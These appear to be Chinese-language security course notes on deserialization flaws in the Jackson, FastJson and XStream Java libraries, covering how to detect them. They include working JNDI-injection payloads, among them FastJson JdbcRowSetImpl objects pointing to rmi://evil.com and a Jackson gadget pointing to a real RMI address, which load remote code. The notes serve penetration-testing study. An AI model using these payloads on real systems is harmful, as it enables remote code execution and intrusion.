1、J2EE-组件Jackson-本地demo&CVE(数据处理)
2、J2EE-组件FastJson-本地demo&CVE(数据处理)
3、J2EE-组件XStream-本地demo&CVE(数据处理)
章节点:
1、目标判断-端口扫描&组合判断&信息来源
2、安全问题-配置不当&CVE漏洞&弱口令爆破
3、复现对象-数据库&中间件&开发框架&应用协议
常见语言开发框架:
PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等 JAVA:Spring MyBatis
Hibernate Struts2 Springboot等 Python:Django Flask Bottle Turbobars
Tornado Web2py等 Javascript:Vue.js Node.js Bootstrap JQuery Angular等
常见语言开发组件:(Java)
Apache Solr、Apache Shiro、Apache Struts2、Apache
Flink、Flume、Dubbo、Redis、Logstash、ElasticSearch、Kafka、Ghidra、Minecraft、Apache
hive、Datax、Streaming、Dolphin Scheduler、Storm、Spring、Aibaba
FastJson、Jackson、Log4J、XSteam等。
黑盒检测:
Java应用 请求参数数据以json/xml格式发送测试
黑盒判断:
通过提交数据报错信息得到什么组件
xml格式(xstream) 或 json 格式(fastjson jackson)
白盒审计:
直接看引用组件版本
当下流行的json解释器,主要负责处理Json的序列化和反序列化。
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";
影响版本
FasterXML jackson-databind 2.x < 2.9.10.8
String payload = "[\"com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"rmi://47.94.236.117:1099/gtaafz\"}]";
阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
重点就是:不同版本的fastjson,不同的poc
利用POC项目:
https://github.com/kezibei/fastjson_payload(该项目是针对不同环境的)
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/TouchFile",
"autoCommit":true
}
}
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/Exploit",
"autoCommit":true
}
}
利用poc只能用源码项目中调用的第三方库或者组件(类)等
在实战中,获取目标项目源码后看下调用的第三方库或者组件有哪些,然后在利用poc项目去找对应的POC去测试看看(机会不大)

开源Java类库,能将对象序列化成XML或XML反序列化为对象
